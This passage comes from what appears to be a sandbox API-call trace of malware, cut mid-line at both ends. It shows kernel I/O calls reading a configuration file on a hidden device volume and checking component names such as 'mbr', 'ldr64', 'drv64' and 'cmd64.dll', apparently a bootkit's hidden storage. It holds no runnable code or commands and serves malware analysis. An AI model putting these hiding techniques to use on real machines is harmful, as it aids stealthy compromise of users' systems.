_Dest="0d24eb7c\\cfg.ini") returned 16 [0122.834] KeEnterCriticalRegion () [0122.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.834] KeLeaveCriticalRegion () [0122.834] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.834] KeEnterCriticalRegion () [0122.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.834] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.834] IdePortDispatch () returned 0x103 [0122.834] KeWaitForMutexObject () returned 0x0 [0122.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.835] KeLeaveCriticalRegion () [0122.835] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.835] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.835] KeEnterCriticalRegion () [0122.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d31000 [0122.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.835] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.835] IdePortDispatch () returned 0x103 [0122.835] KeWaitForMutexObject () returned 0x0 [0122.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.835] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.835] IdePortDispatch () returned 0x103 [0122.835] KeWaitForMutexObject () returned 0x0 [0122.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.835] KeLeaveCriticalRegion () [0122.835] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.836] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.836] KeEnterCriticalRegion () [0122.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.836] KeLeaveCriticalRegion () [0122.836] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.836] KeEnterCriticalRegion () [0122.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.836] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.836] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be8a20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.836] KeLeaveCriticalRegion () [0122.836] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.836] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.836] KeEnterCriticalRegion () [0122.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.836] ExFreePoolWithTag (P=0xfffffa8003be77a0, Tag=0x0) [0122.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.836] KeLeaveCriticalRegion () [0122.836] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.836] ReleaseMutex (hMutex=0xf0) returned 1 [0122.836] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.836] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.837] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.837] KeEnterCriticalRegion () [0122.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.837] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.837] IdePortDispatch () returned 0x103 [0122.837] KeWaitForMutexObject () returned 0x0 [0122.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.837] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.837] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.837] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.837] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.837] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8770 [0122.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.837] KeLeaveCriticalRegion () [0122.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.837] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.837] KeEnterCriticalRegion () [0122.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.837] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.837] KeLeaveCriticalRegion () [0122.837] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.837] KeEnterCriticalRegion () [0122.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.837] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.837] IdePortDispatch () returned 0x103 [0122.837] KeWaitForMutexObject () returned 0x0 [0122.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.838] KeLeaveCriticalRegion () [0122.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.838] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.838] KeEnterCriticalRegion () [0122.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d32000 [0122.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.838] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.838] IdePortDispatch () returned 0x103 [0122.838] KeWaitForMutexObject () returned 0x0 [0122.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.838] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.838] IdePortDispatch () returned 0x103 [0122.838] KeWaitForMutexObject () returned 0x0 [0122.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.838] KeLeaveCriticalRegion () [0122.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.839] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.839] KeEnterCriticalRegion () [0122.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.839] KeLeaveCriticalRegion () [0122.839] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.839] KeEnterCriticalRegion () [0122.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.839] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.839] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be8830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.839] KeLeaveCriticalRegion () [0122.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.839] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.839] KeEnterCriticalRegion () [0122.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.839] ExFreePoolWithTag (P=0xfffffa8003be8770, Tag=0x0) [0122.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.839] KeLeaveCriticalRegion () [0122.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.839] ReleaseMutex (hMutex=0xf0) returned 1 [0122.839] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.839] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.839] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.839] KeEnterCriticalRegion () [0122.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.840] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.840] IdePortDispatch () returned 0x103 [0122.840] KeWaitForMutexObject () returned 0x0 [0122.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.840] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.840] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.840] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.840] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.840] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003827cd0 [0122.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.840] KeLeaveCriticalRegion () [0122.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.840] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.840] KeEnterCriticalRegion () [0122.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.840] KeLeaveCriticalRegion () [0122.840] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.840] KeEnterCriticalRegion () [0122.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.840] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.840] IdePortDispatch () returned 0x103 [0122.840] KeWaitForMutexObject () returned 0x0 [0122.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.841] KeLeaveCriticalRegion () [0122.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.841] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.841] KeEnterCriticalRegion () [0122.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d33000 [0122.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.841] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.841] IdePortDispatch () returned 0x103 [0122.842] KeWaitForMutexObject () returned 0x0 [0122.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.842] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.843] IdePortDispatch () returned 0x103 [0122.843] KeWaitForMutexObject () returned 0x0 [0122.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.843] KeLeaveCriticalRegion () [0122.843] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.843] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.843] KeEnterCriticalRegion () [0122.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.843] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.843] KeLeaveCriticalRegion () [0122.843] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.843] KeEnterCriticalRegion () [0122.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.844] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.844] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.844] KeLeaveCriticalRegion () [0122.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.844] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.844] KeEnterCriticalRegion () [0122.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.844] ExFreePoolWithTag (P=0xfffffa8003827cd0, Tag=0x0) [0122.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.844] KeLeaveCriticalRegion () [0122.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.844] ReleaseMutex (hMutex=0xf0) returned 1 [0122.844] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.844] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.844] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.844] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.844] KeEnterCriticalRegion () [0122.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.844] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.844] IdePortDispatch () returned 0x103 [0122.844] KeWaitForMutexObject () returned 0x0 [0122.844] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.844] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.844] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.844] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.844] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.844] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.844] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.844] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.844] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.844] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.844] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.844] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.844] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.845] KeLeaveCriticalRegion () [0122.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.845] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.845] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.845] KeEnterCriticalRegion () [0122.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.845] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.845] IdePortDispatch () returned 0x103 [0122.845] KeWaitForMutexObject () returned 0x0 [0122.845] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.845] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.845] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.845] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.845] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.845] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.845] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.845] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.845] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.845] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned 